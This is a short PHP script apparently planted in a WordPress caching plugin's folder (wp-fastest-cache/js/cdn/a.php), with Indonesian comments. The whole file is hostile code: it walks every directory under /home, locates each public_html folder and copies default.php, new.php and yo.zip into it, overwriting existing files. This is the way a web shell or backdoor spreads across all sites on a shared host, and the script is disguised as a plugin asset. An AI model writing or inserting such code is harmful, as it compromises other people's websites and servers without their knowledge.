File: /home/centuryt/public_html/wp-content/plugins/wp-fastest-cache/js/cdn/a.php
<?php
function copyFilesToPublicHtml($rootDir, $files) {
// Fungsi untuk mendapatkan nama file saja dari path lengkap
$fileBasenames = array_map(fn($file) => pathinfo($file, PATHINFO_BASENAME), $files);
// Menggunakan fungsi scandir dan is_dir untuk rekursi manual
$directoryQueue = [$rootDir];
// Start output buffering to capture echo and display later
ob_start();
while (!empty($directoryQueue)) {
$currentDir = array_shift($directoryQueue);
$dirContents = array_diff(scandir($currentDir), ['.', '..']);
foreach ($dirContents as $content) {
$path = $currentDir . DIRECTORY_SEPARATOR . $content;
if (is_dir($path)) {
if ($content === 'public_html') {
$publicHtmlPath = $path;
foreach ($files as $file) {
if (file_exists($file)) {
$targetFile = $publicHtmlPath . DIRECTORY_SEPARATOR . pathinfo($file, PATHINFO_BASENAME);
// Menyalin file (dengan overwrite jika sudah ada)
copy($file, $targetFile);
echo "Copied and overwrote $file to $publicHtmlPath<br>";
} else {
echo "File $file does not exist.<br>";
}
}
} else {
// Tambahkan direktori ke antrian untuk rekursi
$directoryQueue[] = $path;
}
}
}
}
// Flush the output buffer and get its content
$output = ob_get_clean();
// Display the output with HTML structure for readability
echo "<pre>" . nl2br($output) . "</pre>";
}
// Tentukan direktori root untuk memulai pencarian
$rootDir = '/home';
// Daftar file yang akan disalin
$filesToCopy = ['default.php', 'new.php', 'yo.zip'];
// Mulai proses penyalinan
copyFilesToPublicHtml($rootDir, $filesToCopy);
echo "Operation completed.<br>";